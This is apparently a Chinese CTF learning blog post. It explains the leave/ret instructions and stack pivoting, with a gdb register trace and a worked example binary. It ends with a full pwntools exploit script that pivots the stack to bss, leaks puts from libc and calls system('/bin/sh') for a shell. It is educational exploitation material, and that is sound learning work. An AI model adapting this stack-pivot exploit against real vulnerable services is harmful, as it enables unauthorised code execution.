前言

由于在之前pwn的学习中栈迁移只知道怎么用,原理啥的一概不晓,属于一坨的那种,每次碰到栈迁移都无比难受,今天花了一下午的时间浅浅的重新学习一下leave ret以及栈迁移原理。

基础知识

在讲这些东西之前,我觉得有必要把pop 和push指令说明一下,pop指令是把rsp上的值传给某某寄存器,比如,pop rdi,就是把rsp上的值传给rdi,这也就是为什么有人总是说pop是弹栈的指令(白话:rsp在栈顶,pop rdi就是把栈顶上的值弹到了rdi上),同样的 push指令是把某寄存器里的值或者某个字符串传给了rsp上,而原本的rsp上的值被压到了下面,为什么原本在rsp的值会在下面?因为栈是一个后进先出的表,同样的它只会对后进来的字符进行处理。

以下是弹栈(举例pop rdi)的操作

pop rdi前:

pop rdi 后:

pop rdi(以及其他的pop 寄存器指令)是干嘛的呢,有什么作用,简单来说就是传参,大家可以参考其他大佬的文章。

leave指令

这个指令的实际意思就是 mov rsp rbp; pop rbp;(ret就是pop rip)。这个指令听起来就有点绕,简单来说就是,执行了leave指令之后,rsp上的地址变成了rbp的地址+8(64位),rbp上的地址变成了rbp地址里面的东西。听着还是不简单,直接上图。

执行前:

执行后:

漏洞

那么也就说明执行leave之后,rsp是由rbp的地址决定的,ret指令是pop rip,也就是将rsp的值传给rip,那么也就是说,rbp可以控制rip,那有人肯定会说了,你这肯定在扯淡啊,rbp的地址是个栈地址,咱们控制不了啊,最多只能控制rbp的内容啊,那如果我们再执行一遍leave ret呢

leave 前
rbp 0x7fffffffdd20-->0x7fffffffdd30-->0x4006b0
rsp 0x7fffffffdd00<--0x7f0a61616161
第一次leave
rbp 0x7fffffffdd30-->0x4006b0
rsp 0x7fffffffdd28<--0x4006a0(main+36)
执行ret之后
rip 0x4006a0
第二次leave
rbp 0x4006b0
rsp 0x7fffffffdd38-->0x7ffff7a03c87 (__libc_start_main+231)
再次执行ret之后
rip 0x7ffff7a03c87 (__libc_start_main+231)

两边leave ret之后,rip的地址为原来的rbp里面的地址(rbp指向的地址)+8的里面的地址( *( *rbp+8)),而rbp里面的东西,我们是可以通过输入来覆盖的,那么也就是说,我们可以通过覆盖rbp和执行两遍leave ret来改变rsp rbp 甚至rip劫持执行流,不光这样,我们还可以往里面写东西(前提是那个地址可写),这也就是所谓的栈迁移。如此而来,我们能够栈迁移的条件是什么?

一般来说

1:能够溢出(来执行leave ret),至少得覆盖rbp;

2:目的地址可写。

例题

我们来找个例题看一下[https://pan.baidu.com/s/1moBfffThW5-ClklOotkt0g?pwd=chen]:

先看保护

开了NX保护

发现只有一个read并且只能溢出8个字节,打ret2libc肯定是不够的(光泄露libc都不行),

我们查看read函数发现我们不光可以覆盖rbp,甚至rsi(这里是指read的第二个参数)我们也能覆盖。在执行read之后还会自动执行一个leave ret。

因此我们可以利用栈迁移来泄露libc,再利用栈迁移来执行system…

我们gdb看一下

我们发现0x600000—-0x601000是可写的,我们可以把栈迁移到这一部分,但是要注意,函数的got表也在这一部分,因此我们不要随意的写。

我们先写第一步,覆盖rbp里面的值,并且把返回地址覆盖成read(溢出的8个字节刚好),而这里的返回地址要能够控制rsi为rbp-buf;

执行leave ret之后

此时执行流被我们控制到了read。而后面关键的来了,我们可以利用read把此时的rbp覆盖,然后rsp 和rip也都能让我们覆盖。

我们同样的覆盖返回地址为read,此时我们leave 一下。

现在我们成功把栈迁移到了可写的段上,注意此时rbp是0x600d38,下次read的buf的地址为rbp-0x20(也就是0x600d18),那么我们下次执行玩read会ret一下rip也就变成了rsp里面的东西,也就是会执行0x600d18里面的东西,

这里我们就成功劫持执行流我们就可以执行puts来泄露libc,只能执行0x30大小(这里read的大小就是0x30)。

随后我们就可以故技重施来执行system(“/bin/sh”);

exp:

from pwn import*
context.log_level="debug"
p=process("./eszqi")
elf=ELF("./eszqi")
#p.recvuntil("hello world!!!!")
gdb.attach(p)
bss=0x600b10
payload=b"a"*0x20+p64(bss+0x200)+p64(0x40065f)
p.send(payload)
payload=b"a"*0x20+p64(bss+0x200+0x20+8)+p64(0x40065f)
p.send(payload)
payload=p64(0x0000000000400713)+p64(elf.got["puts"])+p64(elf.plt["puts"])+p64(0x400657)
p.send(payload)
p.recvuntil("\n")
leak=u64(p.recv(6).ljust(8,b"\x00"))
print(hex(leak))
#pause()

payload=b"a"*0x20+p64(bss+0x300)+p64(0x40065f)
p.send(payload)
#p.sendline(b"aaa")
#pause()
payload=b"a"*0x20+p64(bss+0x300+0x20+8)+p64(0x40065f)
p.send(payload)
payload=p64(0x40067B)+p64(0x0000000000400713)+p64(leak+0x133418)+p64(leak-0x31550)
p.send(payload)

p.interactive()